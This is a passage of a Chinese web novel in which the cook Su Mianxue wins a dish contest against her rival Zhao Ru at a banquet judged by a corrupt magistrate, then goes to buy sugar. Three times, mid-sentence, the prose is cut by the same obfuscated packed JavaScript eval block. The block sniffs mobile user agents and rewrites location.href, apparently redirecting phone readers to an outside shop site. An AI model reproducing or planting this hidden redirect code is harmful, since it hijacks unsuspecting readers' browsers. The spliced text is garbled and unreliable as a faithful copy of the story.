其中一份包裹送到韩兆手里，李大牛闷闷不乐，苦着脸说：“眠雪妹妹好像忘记给我送东西了，我找了好多，只找到我娘的和你的，后面的人不高兴，我想过会再找找。” “许是你妹妹有事，我看她心灵手巧的，怎会是那种容易忘事的人，你再等等，可能下次就送来了。”韩兆拍了拍他的肩。 因他过于严肃，连自己娘子送来的包袱，都不敢表现的太过喜欢。 毕竟这人在眠雪妹妹跟前没什么本事，就会在心里偷偷生闷气。 做兄弟的他太高兴也不大好。 “别难过了，再等等，下次的连这次的一块送来。” 韩兆安慰着，效果却极其的差。 后来是校尉手下的一名士兵将他叫走，才解决了这事。 韩兆也不清楚李大牛怎么就得了校尉的青睐，他也不嫉妒，李大牛的表现不错，种种迹象都表明了他会受重视的现象。 终是好友替他喜悦于得了校尉的青睐，李大牛却一点也欣喜不起来。 上次拿着自己全部积蓄到人家面前，他是不聪明有些迟钝，但也不是蠢笨之人。 作为水抚最高的官职，李大牛没有权力反驳，暗地里给他分些脏活累活，笑他自不量力的话听了太多，却只能一笑了之当做营里的玩笑话。 在这儿唯一支持着的，便是那一抹缥缈似云的念想。 没关系的，他会冲破一切不公不义。 李大牛拿上铲子，将门前到演武场的雪铲到边上，皑皑白雪下开辟新的道路。 哪怕这条路再次被掩埋，只要手里有了工具，地上印下他的脚步，总会再次开辟，成就他的路。 …… 景象镇的榕树依旧青苍。 马车停在苏记的门前，车上的人挤在狭小的空间内早就疲惫不堪。 拿上车上的东西，两个人挪回了屋子。 厨房大锅里有热水，底下还有木头煨着，水不是很烫，加点冷水进去就能直接洗。 苏眠雪打了水，拎着桶进了洗浴室，简单冲洗之后，换了身轻便的衣服，给裴攸打了桶水，拿剪子修剪院子里错落的花草。 眼下已是秋日，便是长青不衰的榕树，也落了叶，卷了黄。 苏眠雪蹲得久了，晨间未散的露珠脱在衣裙上，一阵寒气入体，正打着颤栗，起身欲要回屋拿衣裳，脚下僵持着动一步都难。 蹲得太久，脚麻了。 “怎么了？”一件披风搭在肩上。 修长的指轻轻划过她的锁骨，像一只小虫子在她锁骨上爬，温热的气息喷洒在颈边，苏眠雪握住他捏着系带的手，从他手上拿过系带，左边小腿在地上跺了几下，往边上避开裴攸的触碰。 系带在手里打了一个蝴蝶结，苏眠雪转过身冲他笑着。 “饿了没，我去做饭。” 不等裴攸回答，她已经跑进厨房，摸着自己穿着春日里露出大半个脖子的衣服，上扬的唇角僵着抽着脸疼。 裴攸在想什么呢。 她怎就选了这件衣服呢。 她实在不想动手，但做饭又是自己提的，慌不择路下只好来做最熟练的事。 “你饿了？”裴攸走到她后边，苏眠雪刚刚的举动奇怪，在马车上刚吃了两个饼，他一点也不饿。 他还记得苏眠雪将最后三张都吃完了。 苏眠雪回道：“没饿，就是累了。” 她在下意识的躲避，哪怕裴攸没有那一层的意思，但在她看来，莫名其妙的亲密接触都是应该避免。 裴攸打开门，让出路，“去休息一会，等会去酒楼里头吃，好好犒劳下。” 两个人之间的关系谈不上亲近，裴攸有自己的秘密，保持着相对的距离，从未越线，除了指尖的触碰，从未有过其他的。 苏眠雪不适应，她不适应和亲人外过多的接触。 裴攸或许不明白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13166054|130063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的心思，但经过这些时日的接触，裴攸对她的亲近，更多的是两个人同住一个屋檐下，他不认识除她以外的人，所以把她当做了依靠。 依靠，苏眠雪细细咀嚼着这两个字。 人生地不熟，依赖的惯性会使人下意识的接触那个有好感的，甚至产生情愫。 但一旦脱开了这层关系，遇到了其他人，这份感情或许会持留，但终将会被消磨殆尽。 休息过后便去了欲满楼，酒楼里的人早就打听到他们回来的消息。 早早打了烊，厨房里热火朝天，琳娘端着汤出来，拉着她的手坐在位置上，苏盈立刻放了一碗白花花的大米饭在她面前，指着几道菜一一介绍。 “阿姐，这道桂花山药是我亲自做得，和琳姐姐学了好久，您快尝尝。” 淋了桂花酱的山药放在小碟子里，苏眠雪拿筷子夹起一块，粉山药一碰就容易碎，她夹得小心，低下头咬一口。 山药口感绵密，桂花酱清香甘甜。 她吃完这道菜，苏盈又送上了其他菜。喜欢的菜还没吃两口，又有新的菜送到面前一时赶不上递的速度，等到将全部菜都尝了一遍，一碗米饭也下了肚。 “阿姐，怎么样？”苏盈凑到她边上，抬起毛茸茸的脑袋问。 苏眠雪将牌子从袋里拿出来，语气里略带沉重：“放心，我没有被这事打击到。” 苏盈眉眼弯弯：“阿姐，成绩代表不了什么，琳娘和高大厨都给我们解释过了，咱们没有银子，所以拿不到好名次，况且这名次能当饭吃吗，咱们酒楼是靠味道远扬，要这个牌子做什么？” “阿姐，这些菜怎么样，都是我特地做得。”苏盈从椅子上站起身，一一指着菜，“这道，还有这道是我做得，这些是我给琳姐姐打下手，算我做得半道菜！” 牌子被舍弃到一旁，琳娘怕她伤心，将牌子藏在了自己怀里。 苏眠雪不在意的东西，见身边好友小心维护的样子，心里头又有了松动。 她不怕别人怎么看她，怎么说她，但她却在意身边好友的话。 因为动了感情，因为加赋了不一样的意义。 这一次，她话里是说不尽的轻快：“谢谢，我并没有在意，或许说一开始是在意的，但是有你们在，我彻底放下了。” “哎呀，这种事就跟吃饭喝水一样，边上的津味楼敢来我们跟前叫嚣，下次我们也花点银子，就凭我们东家的实力，还不怕进那一等的名额？”高胜拍拍胸，笑得豪气。 琳娘不乐意了：“败家玩意，这种有什么好较高下的，要是真有本事的，还稀罕这点虚名？” “我倒觉得花钱买个名头也不错，装一装也好。”高学林说。 他痴迷于厨艺，平时存在感不高，气得琳娘各拍了几下，心疼道：“一个个都败家，东家你可别听他们的，真当是几两银子的事。” 苏眠雪未放在心上，拿银子贿赂，怎么说都要五十两银子。 就是第一关，她因为实力都要花银子才能入选，后面的，她不想去想，至于明年的也不重要了。 44. 桂花糖藕 赵儒回来时可谓一个意气风发，坐在高头大马上，迎着景乡镇百姓的目光中，停在津味楼前，在赵山的搀扶下，下了大马。 小厮站成两排：“恭迎东家在清河城大放光彩，夺得二等，光荣归来！” 门外气势磅礴，不少人被吸了眼球，纷纷前来观望，待赵儒拿出那金灿灿的令牌时，众人才后知后觉。 这津味楼的东家拿了好名次，相反这欲满楼的东家，悄无声息的回了镇里，后来又到了自己酒楼，也不声张，一眼就明了，这是在半途折了中，灰溜溜的回来了。 平民百姓并不在意其中的内幕，他们只能看见他们所看见的东西。 赵儒把自己得到的令牌跟供宝贝一样，放在最显眼的地方，边上有东西阻隔着，来的人只能看不能摸。 大张旗鼓的邀了一堆好友前来观赏，其中就有苏眠雪。 拿到请帖时，欲满楼的人都跟吃了苍蝇一样难受，参赛过的几人都明白里面的门路。 赵儒此举，意味着炫耀，更是证明他在景乡镇里的脚跟有多硬。 “他邀了你，你若不去，便是坐稳了你不如他的言论。”裴攸手里捏着这张请帖，眯着眼慢条斯理，“他倒是心急，在清河城得罪他的人不止你一个，请的人不会只你一个，我跟你一块，放心去吧。” 那日苏眠雪走进的巷子里，所谓的打斗声正是裴攸找了一伙人打了赵儒一顿。 赵儒没什么本事，就是苏眠雪坦荡在他眼前，但台潇几人不是景乡镇的人，隔了好几里地，碰不到赵儒的利益，赵儒只会把一切的账都算在她头上。 裴攸想得也坦荡，反正都是要算在他们头上，多一件不少，少一件也不多。 索性打一顿，给他点皮肉上的苦楚解解气好。 高胜：“赵儒若是敢拿这事来讽东家，咱们就跟他比试比试，还能怕他不成？” 苏眠雪睨了眼高胜，一个个怎么头都这么铁呢，尽想着硬碰硬。 她头疼地揉揉太阳穴，“明儿我和裴攸一块去，这请帖来得匆忙，定是早早准备好的，他想要炫耀，我们陪着就是。” 苏眠雪定下心神，兵来将挡水来土掩，这点手段对她来说不痛不痒。 …… 县令府内，罗县令丢下手中政务，底下人送来请帖，罗县令拿起看了之后，面色大喜。赵儒得了王爷赏识，拿了二等的好名次，甚有可能，在来年拿了一等，他作为县令都风光。 罗县令拿起桌上的文书，手边上是贾姨娘送来的甜汤。 思虑过后，收起边上县丞递上来有关贾家的罪证，对主薄道：“都是空穴来风的东西，贾姨娘是什么性子，本官还能不清楚？长安来的县丞什么都爱管，就这些无凭无据的东西，也能叫做罪证？” 县丞递来的一叠厚厚本子被罗县令压在了最底下，贾家谈不上富可敌国，只能算作镇里的一介富商，但贵在肯捧罗县令。 叫罗县令感受到前所未有的虚荣，当官的精髓气儿，不就是在这里头么。 不然挤破了脑袋，读了多载的书还没个用处，连风光的地方都没有。 主薄乃是跟在他身边多年的老人，两人都是升官无望，百姓有冤不能申，上头查不到，同污合流狼狈为奸，利用权力做些利己的事。 罗县令深有为官之道，摸着颔下的须，走到窗前望着远处的银杏树。 晚秋无边卷来，着了厚衣，见无边漫野的枯黄。 结了果，落了叶，安了根。 谁也离不开谁，就是想离开，又有多少人能走得出去，终是半途而废，且过安足。 津味楼今儿宾客盈门，携着礼物而来，竟听着各数虚捧，争奇斗艳，斗的是受了王爷青睐着的一相好眼缘，关系打好了就是露个名，也好过籍籍无名。 苏眠雪赠得礼物中规中矩，在大厅里转了圈，由小二的带领下，被分到了一桌。 她的位置排在后边，赵儒作为今天的主角，被层层围着，望不尽的人群。 坐了好半晌，他们这桌终于齐了，还是和那会在清河城酒楼吃菜的位置一样，人没变，位置顺序也没变，面面相觑，一阵无言。 风光之后先打从前看不上自己的人，这话说得不错。 几人大眼瞪小眼，最后是台潇先出声，打破这场僵局，“大伙人都来了，都是缘分，缘分。” 就赵儒那点本事，也配得安王青睐？ 花点银子自封的，怎不直接去那长安，回来一趟炫耀完了再走，不更痛快些吗。 台潇眼一瞪，胡子一吹，他明年再去一年，好好瞧瞧这青睐，是怎么个青睐法！ 小二上了菜，这下轮到苏眠雪傻眼了。 菜都是欲满楼的招牌菜，有些做了改良，有些原模原样。 拿着筷子的手轻轻颤着，牡丹鱼片送入口中，味道也差不多，她命人把菜单拿来，莲花鱼片的价格比她的少了三分之一的价钱。 阴得很！ 拿着手里的两根筷子互相打架，抬头一看，台阶上罗风跟在赵儒边上，笑得满面春风，接受身边的恭维，赚足了面子。 他抄了不少菜谱走，里面有招牌菜，自然也有寻常可见的菜品。 这些菜非她所独创，经过琳娘的只言片语也可得知，外边的酒楼早早就有了这些菜。 《长安苏记美食录》，苏时章是长安人，菜谱的菜也不是她原创，一口咬定了去，她又有什么话能去辩驳。 只能咬碎了牙往肚子里头咽。 前面的菜都是苏眠雪熟悉不过的，后面的菜开始错乱惊奇，特别是这道海棠醉月。 上菜时苏眠雪笑出了声，连着裴攸也轻笑着，夹起一片肠子，放在碗里也不吃，“他的点子不少，妄想拿这种法子来激怒你吗。” 苏眠雪挑了挑眉：“一开始是激怒到了，现在么，倒是没想到赵老板这么信任我。” 两人胡乱写得菜谱，难为赵儒的信任。 海棠醉月这道菜夹了放在一边，暂没有试试盐水煮大肠的兴趣。 裴攸比较猎奇，将两人胡乱写得菜都尝了一遍，一口还成，多了就腻得慌。 酒过三巡，赵儒下了血本，都是上好的酒菜，桌上的人喝了七零八落恍在椅上。 二楼摆了桌椅，隔着厨房的帘子被拉开，赵儒醉的不轻，指着面前质问的人，放下狠话：“比就比，老子凭本事拿得名次，还怕了你不成？在我的地盘撒野，也不看看自己几斤几两！” “哼，这道菜是你的吗？模样不好不说，味道也强差人意，你能拿着名次，瞧是放了一条淮河的水，才能给你在这耀武扬威！” 两方都醉的不轻，酒后吐了真言，在边上恭维的，又有几个是心服口服。 苏眠雪原本只打算看个热闹，又听见一人道：“我记得这些菜，都是边上欲满楼的招牌菜，”那人指着桌上几道反响不错的菜，“欲满楼的东家也来了，不如比试比试，好给赵东家一个公道。” 所谓的公道，不过拿苏眠雪开刀，让她做这个被赵儒记恨的人。 裴攸不轻不淡：“这位公子说笑了，今天是赵老板的主场，不该在这闹事，丢了赵老板的面子。” 那人道：“你又是谁？” 裴攸轻笑：“公子不必管我是谁，理应知晓今儿做东的是赵老板，当着东家的面落东家的脸，不是一个客人该有的礼遇。” 轻飘飘几句话堵得那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13176144|130063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人哑口无言，但挨不住喝醉酒的，点名要苏眠雪来比试一番。 台潇卷起衣服，“他要比，就跟比试比试，他这人谨慎得狠，从不轻易透露自己的实力，趁他现在醉着，好好告诉他自己倒地是几斤几两。”话落下，他在小二的带领下进了后厨。 几个年过半百的，都是不服命不信命的人，自己拿不到好，也见不得别人的好。 相较之下，台潇的纯恨要来得纯粹坦荡。 他就是看不惯赵儒，曾经往事不可忆，终是随着时间流逝，在心里头留下坎，也将消散不去。 要说恨，苏眠雪心里也气，合着她费尽心思，把这菜送到他面前，结果都是徒劳。 保送生管他用什么文具，人家就是空手去也能得奖回来。 她不仅没讨到好，还丢了一块木头。 花银子特地买来的木头！ 苏眠雪也不含蓄，都有人打头阵，六七个人去了后厨，她在人群中，还有什么顾虑的，事又不是他挑起来的。 津味楼不愧是镇里有名的酒楼，后厨里头塞了不少人，一道又一道菜不连断的，还是烫呼的端上桌。 罗风见到她有片刻的闪躲，让出位置灰溜溜的走了另一道门。 台潇疑惑看了眼，苏眠雪说：“从前是我酒楼里的人。” 后来来了这，将菜往新的东家漏，算是投诚的一种方式。 厨房里有不少菜，都是为了今日准备的。 苏眠雪选了角落的位置，货架上放了不少装满桂花的罐子。 秋天是桂花的季节，即便是将要步入冬日，寒气渐渐袭来，各大酒楼小馆依旧喜爱桂花。 糯米淘洗干净，控干水分放在一边，洗净的藕近结处切下一块，苏眠雪洗干净手，一手拿着藕，一手将糯米塞进藕孔中，待糯米填满了藕孔，切下来的藕块贴着，四根签子固定好，放进锅中，加水没过，灶头底下生起大火。 选了一条不错的草鱼，去鳞清理干净，切片腌制好鱼片，麦粉裹在鱼片上，用擀面杖压平，剪子修建好鱼片的形状。 锅里的水烧开了，苏眠雪绕道红面，撑着腿蹲下去，将里头的木材移出去，大火慢慢降下来，另一个起锅烧油，鱼片放进六成热的油锅定形，鱼片放在一边，她要时时刻刻顾着两个锅，一时间有些力不从心。 鱼片都炸完了，藕里的锅莫约煮了一刻钟，放入冰糖和桂花，接下来待牡丹鱼片做好，只用算着时间，半个时辰的时间，小火慢慢煨着，就等冰糖和桂花的味道浸入里头的糯米里。 鱼片插在土豆泥中，从内而外，从小到大，栩栩如生的牡丹花摆在盘子中。 牡丹鱼片已经完成了，两道菜耗费的时间不短。 厨房里只剩她和赵儒，这场的主要看得是她和他。 一个镇的人，其他人就是赢了输了，也危不及自己的生意。 一山不容二虎，他两人都在一块地盘，中间就隔着两间铺子，苏眠雪的地段好，也碍不住此番后的津味楼名气更上一层。 两家打擂台，他等只用居在后面，看个热闹。 后厨的帘子被掀开，赵儒显着醉态，步子有些虚，前头喝了醒酒汤，脑袋清醒了不少。 见苏眠雪锅里的菜还未出锅，已是胜券必握。 锅中菜还未好，凡事都急不得，一旦急了，就会失去原本的滋味。 苏眠雪不紧不慢，待手边的沙漏见底，才将藕结拿出来，摘掉签子，去掉头尾，切成厚度均匀的片摆在盘子里，倒上桂花蜜，两道菜放在红木漆盘上。 剩下的残局丢给一旁的小二，居于人下，用得也是他人的东西，苏眠雪不信赵儒，不敢将此番压在赵儒的诚信上。 45. 苏来斋 二楼展台上，赵儒站在人群的最中央，周围围满了人，她来时，人群里主动让出了路。 苏眠雪将两道菜放在另一张桌上，从红木漆盘上取出菜，放在桌上。 众人见到这菜，皆惊呼起来，纷纷窃窃私语。 这道菜是他们刚刚桌上的菜，苏眠雪这是将莲花鱼片当着众人的面，抄了过去！ “这道菜是莲花鱼片，苏姑娘这是……” “将赵老板的菜，在赵老板的地盘上抄了过来，这也太不厚道，明着打赵老板的脸了呀！” 苏眠雪充作未闻，边上已经有人为她反驳：“这道菜我记得，是苏姑娘在清河城厨艺大赛时做得菜，名字叫做牡丹鱼片，有缘和苏姑娘一组，姑娘的实力很厉害，输给姑娘在下心服口服。” 苏眠雪轻轻点头：“多谢公子。” 罗县令不知何时挤了进来，道：“此话差矣，赵老板能拿二等，说明赵东家能拿二等，说明实力在苏氏上头！王爷还能有错？” 罗县令的话冷不丁出来，本在议论的人群瞬间止了话头，民不与官斗，从古至今都是如此。 “罗县令，您来了。”赵儒笑得合不拢嘴，“这位是贾姨娘吧，果然是琼花玉貌，沉鱼落雁！草民正和苏老板比试，若是有招待不周的地方，还请县令大人见谅。” “你在王爷面前开脸，本官怎么会无故下罪责施加于你，既然你请了本官来，本官就当这场比试的裁判，给你们分个胜负。”罗县令坐在小二端来的椅子上，贾姨娘陪在身侧。 轻摇着手里的团扇，朱唇皓齿，迎娉娉香风，“妾身的弟弟和赵东家多有来往，不如请他来，和老爷一块，给两位东家分胜负。” 贾三得了贾姨娘的话，立刻扒拉开人群，将挤在一旁的裴攸撞得身形不稳，若非后边有人顶着，指不定要摔个狗吃屎。 裴攸不甘示弱，拉住贾三飘着的衣带，一个往前头挤，一个死死捏着，等裴攸松开，贾三的衣服松了大半，一只手捂着强颜欢笑，给罗县令行了个礼，在贾姨娘示意下坐在一旁。 他在镇里名声不好，景乡镇的人都投过不怀好意的目光，当着这么多人的面，又不好整理衣带，手一松，外衣，中衣，内衣不得哗啦啦掉一地。 “县令爷抬举，草民在所不辞。” 赵儒的叫花鸡递到罗县令眼前，贾姨娘贴心的为他布菜，最大的鸡腿放在他的碗里。 罗县令浅尝一口，点头称赞：“不错，不愧是得了王爷青睐的。”他夹了肉放在贾姨娘的碗中，“尝尝。” “谢老爷。”贾姨娘拿起筷子，等他二人尝过，小二才送到贾三眼前。 苏眠雪敛下眼眸：“罗县令，民女认为，要分胜负不该草率从事，应当多些人，一起来客观评价，最后定下谁的菜好。” “哦？你的意思是本官行事草率，不公正？”罗县令放下筷子。 苏眠雪垂下头，落在桌上的菜异常坚定：“民女并非这个意思，只是认为，这儿有不少咱们县里的厨子，多是参加过厨艺大赛的，既然要评胜负，不如由大家都尝一尝，给出客观的评价，最终决定胜负。” “苏氏，所以你的意思是，本官的舌头尝不出哪道菜的味道更好，还要客官评价，指点出这菜的品貌，味道才能分下胜负。亦或是你觉得本官不公平公正，需要其他人来为你讨要公道。” 罗县令摇头晃脑，一番话拖腔拉调，神色张皇严厉，盯着她，恨不得看出一个洞。 孟云蕊鬼迷心窍，听了外边人的话，将苏眠雪带到罗府，搅得罗府上下动荡不安。 罗老夫人病了非一日两日，从前府里和睦，孟氏还有个端庄的名头，苏眠雪进罗府给罗老夫人做膳食后，孟氏锋芒毕露。又是要几个庶子庶女的抚养在她膝下，又是拿走贾姨娘手上的中馈，缩减贾姨娘的月供，剩下的都拿给了她膝下的子女。 以前都是这般过来的，贾姨娘夜里总爱和他哭诉，美人落泪他心疼不止，几次三番的警告，都被那些冠冕堂皇的给搪塞过去。 找不了孟氏的茬，只能将这些怪罪到苏眠雪头上。 眼一横：“苏氏，难不成你要对本官不敬！” “下官认为，苏姑娘说得有理，贾三公子和赵东家是好友，贾三公子的姊姊，是老爷的枕边人，苏姑娘有此顾虑，也难免不了。不如让在场的厨子都评一评，也好成大人慷慨公正之美！” 青年二十出头，其貌不扬，胜在气质心醇气和，平添了几分青俊，目光放在贾三和贾姨娘身上，眉间皱了下去，但这抹痕迹极浅，浅到像是不曾发生过。 这位苏姑娘他记得，开业时，贾三曾来闹事。 他问百姓为何不报官，为何贾三这等恶徒得不到惩戒。原来是上面有人包庇，为虎作伥扬威作福。 来这不过暂且，他能够选择袖手旁观，做好分内的事，等到来年离开。他的功绩不在这，隐忍之后，夜里总会想起他一路的所见所闻。 贾三当街强抢少女，一个不悦砸了摊子只要跟着，隔三差五都能见到。 贾家的店铺暗里贱买贵卖，和当地官员势力勾结都不过冰山一角，罗县令拿了贿赂，睁一只眼闭一只眼充做不知，私底下拐卖少女，运气好的收进贾府，私底下干些不为人知的秘密，运气差的卖入花楼被迫卖身，彻底失了自由身。 因为金银较少，贾家也从不外露，他看那座宅子，不知道被分为多少块，竟能塞下那么多人口。 “宋县丞此言，也算有理有据。本官只想着给二位主持公道，失了分寸竟忘了这一茬。”罗县令眯起眼，两只绿豆挂在上边，瞧不到眼珠子，怪渗人的。 苏眠雪拜了一拜，“民女谢罗县令，县丞大人。” 宋酌微微一笑，尝了一口叫花鸡：“还是热乎着，快些分下去给大伙都尝尝，凉了便没有现在这般好的味道。” 鸡肉被瓜分下去，周围一圈的都是在厨艺上话语权的，裴攸看了眼冷却后挂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13188982|130063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在肉皮上的油珠子，撇开眼，不接小二送来的肉，被顺着递到下一个人手上。 台潇毫不客气，拿大家都能听到的声音，小声说：“味道一般，火候掌握不好，汁水都从肉里头跑出去，不够嫩，也不能脱骨，勉勉强强吧。” 混在人群里，不等的声音掺和着，确定不了人是谁，但足够赵儒黑脸。 尝过赵儒的菜，宋酌拿清茶漱口去味，倒了三杯茶给罗县令，贾姨娘和贾三三人，因着是官的缘故，又因为宋酌态度不错，罗县令用过，贾姨娘和贾三跟着喝过差，开始品尝苏眠雪的菜。 先是牡丹鱼片，放得有些久，但还有余温，口感酥嫩酸甜可口，外边浇得酱汁是拿糖醋的酱，鱼肉处理得当鲜美。 宋酌尝过，评价道：“赵东家说是莲花鱼片，但我只知晓，京城里酒楼的菜，有道正和两位东家一般，每次和宋姑娘的一致，都换作牡丹鱼片。” 他浅笑，穿得窄袖自有从身上气息来得文人墨客的儒雅：“不过这道菜民间甚少有，其乃是宫廷的御菜。 至于京城酒楼为何有，因为一开始的厨子就出自该酒楼，酒楼里最好的厨子自然都要进宫侍奉，圣上也未下令民间不得做这道菜，只是民间仅那家酒楼做得，秘方从未透露！” “两位东家，是从哪得来的秘方？” 惊讶浮现在面色，宫廷御菜她都有所耳闻，只是这道……思来想去，收起脸上情绪，既然苏时章给了，那她就能通过京城的这家酒楼找到苏时章，不乏是一个线索。 “民女是对着书上做得。” 赵儒慌张失措：“这……草民也是对着书上内容做得，不知道是宫里的菜，还请县丞大人不计过，往后草民会诫酒楼里的厨子，不准再出现这道菜。” 宋酌安抚：“两位不用紧张，你们既然得了这份菜的菜谱，定然是苏来斋的有缘人。我只是问问，另外想看看两位的食谱，这道菜的做法是否正确。” 苏眠雪问：“苏来斋，是京城这家酒楼的名字吗。” “正是。” 裴攸皱下眉头，苏眠雪姓苏，苏来斋也是苏，难不成她和苏来斋有关系。 压下心底的疑惑，苏眠雪爽快答应：“宋大人想看，等比试过后，民女奉上食谱，给大人一阅。” 宋酌果断行事，没了悠哉，“大人还有政务需要处理，不如速战速决，莫要耽搁了。” 罗县令拂开贾姨娘送来的茶水，夹起一片藕片，果断选了赵儒的叫花鸡。 作为县令，在镇上的震慑力不小，除去其他县里来凑热闹的，还有裴攸这等不把县令放在眼里的，里面不少人七嘴八舌，一会苏眠雪，一会赵儒，吵着压根没法判断。 最后宋酌命人拿来纸笔写在纸上，当着全部人的面念着纸上翻开的字，一笔一笔落在写了两人名字的纸上。 负责写正字的小吏，在赵儒越来越黑的脸上，公布最后的答案： “是苏姑娘……赢了。” 46. 白糖商贩 “这怎么可能！” 两道声音同时响起，罗县令自知失态，颓废地坐回去，老脸臊得通红，在百姓面前失了风度，丢了面子，比杀了他还难受。 “你们！”赵儒咬牙切齿，一个个都要和他作对，他赢了厨艺大赛，怎么可能会输给半道淘汰的苏眠雪。 苏眠雪在作弊！ 裴攸的影子一晃而过，原来如此……原来如此！ “裴攸，今天这一出，又是你们两个搞的鬼，对不对！”赵儒撑在桌子上，垂着头，眼睛死死在人群里来回瞪着，拳头捏得咯咯作响，“你们两个，三番五次和我作对，在清河城巷子里打我的，也是你们找得人！” 裴攸轻叹：“赵老板，官府办案都讲究一个证据确凿，才能将人捉拿归案，两家酒楼在一条街上竞争，私底下多多少少有些磨合，我们东家一个弱女子，怎敢找人去欺负你。” “况且，我们酒楼又非是赵东家在镇上根深蒂固，一个刚建起来，半年都不到的酒楼，仰仗您还差不多呢，怎么敢明面上给你下绊子。” 苏眠雪接道：“裴攸，想来是赵老板错怪我们了，我们不怪他。”他转过脑袋，真诚地看赵儒，“赵老板，虽然你冤枉了我，但我们不会怪你的，也不会记在心上。您放心就好，千万别在心里闷着，以后我还有仰仗您。” 宋酌拦下气头上的赵儒，挡在两人中间：“赵东家，这么多人看着，苏姑娘怎么可能作弊，强迫别人写她的名字？这不是自己毁了自己，告诉大伙，她是只有靠拉拢才能获胜的那个。” “是啊，这么多人看着，铁定是公平公正的，你和苏老板也就差了四票，这么多人头，总有更喜欢桂花糖藕的。” “这桂花糖藕，是我吃到最好吃的一次，藕片清脆拉丝，糯米香软浓郁，浇在上面的桂花酱更是点睛之笔，用得是金桂，香味要淡于丹桂，和银桂相似，清淡而沁入心扉。” 桂花糖藕名字听起来简单，但要桂花香气和甜味浸在糯米里，等待和火候都缺一不少。 小火慢慢煨着，糖分从藕节里慢慢到糯米，热力从一面而入，在里头挤压扩散，藕片入口时觉得软糯，但咬下去又有清脆的口感，保留藕片原有的触感。 赵儒垂着头在宋酌前做小称是，罗县令帮不了他的忙。他对这道鸡放了十二分心，结果输给了苏眠雪。 全都帮着她，自个不好发作，耐下性子，怪自己运气不好，若是再做到桂花糖藕，今天赢得是否就是他了。 “县令大人，这菜您吃得怎样，宴席还未结束，您好酒好菜接着吃。草民和苏老板是互相切磋，桂花糖藕是镇上所喜的菜之一，刚刚那份还有许多都没尝到，草民已经吩咐后厨的厨子，准备新的桂花糖藕！” 赵儒尽显风度，挽留些许面子。 宋酌道：“大人，衙内还堆积着政务，一来二去耽搁不少时间，刚刚外边还亮堂着，谈论了会两位东家的菜品，天都黑了大半，再晚些，就怕回去的路黑不好走。” 从宴席、争论再到后厨比试，他两人的时间最是久，前头几人早早端上去，原本打算等着一块比试，结果等着等着，自己的菜都凉了大半，等人出来，早就凉透了。 都不是一个地方的，赢了输了都碍不到自己的生意，一了百了，往后一放看戏去了。 “的确耽搁了不少时间，走吧。”罗县令带着人离开。 身影消在门前，赵儒依旧陪着笑，已是秋日，桌上了菜早就凝了油脂。 苏眠雪记挂着自己的木头，带着裴攸溜到一楼，丢掉海棠醉月上的果子和猪肠，木头塞兜里，一边一个，走到门口给苏盈、高胜、琳娘和高学林。 一个两个，在外面排队，等苏眠雪和裴攸带出去，在回到自己酒楼里。 一共八个木头，木雕精致，和她之前的粗糙木头相比，值了！ 一轮银月化于水中，万家灯火倒映在淮河上。 苏眠雪离开的早，听昨天夜里的人说起，津味楼一直到后半夜才歇下，昨天到的人，今早再看都是一眼圈的乌黑。 裴攸给她的银子还有三百余两，她一时还不上一百五十两银，和裴攸协商后，一致用在欲满楼上。 欲满楼暂时不用扩张，她心里打算先赚够了盘缠，再有多得到长安，能够买下一间铺子的银子。 两边物价不一样，平头百姓一年能有二十两银子属实不错。 这家酒楼租用了一年的银子，到明年四月，只怕还不够盘缠，就是银子够了，她也该考虑留在她手底下的人，不可能一伙人都赶着去长安，都是长于景乡镇的，并非一朝一夕就能了断。 她将银子一半存入钱庄，每月生点铜钱，一边积攒一边等候宋酌。 苏时章留下的食谱，可以证明他从前是在长安，或许苏来斋是她去长安后，找到苏时章的线索。 十月底，徐州来了两位卖糖的商贩。 糖类价格高，他们手里拿到的颜色会偏黄一些，而罗府用得糖，会更白些，通过精炼提取的，价格也更贵。 琳娘走过来，指着外边的两个卖糖的商贩：“东家，徐州来的两位糖贩，卖得价格要比我们镇上的便宜，一百钱一斤，我们店里的白糖也用得差不多了，用不用再买一些。” 徐州来得白糖商，白糖的价格比盐贵，盐是必须用品，一斤二三十钱的价格，而白糖价格一直居高不下，产量低生产力大，受官府把控。 酒楼一月下来要不少盐、糖及其他调料，都是必须备好的用品，一些客喜欢甜食，白糖冰糖还有蜂蜜都缺不得。 要是快没了，就要及时补上，若是出现供应不上，人忙起来，就会都乱了套。 “买，我去问问，若是我们多买些，能否给我们少些钱。”他在津味做了一道桂花糖藕后，不少人指名了要她做得这道菜。 苏眠雪在店里又是东家，又是庖丁，在后厨待了半天，染了一身油烟味，拿帕子擦过手，带着人立马跑下去。 白糖商的盐成色要比她现在所用的成色好，白花花的 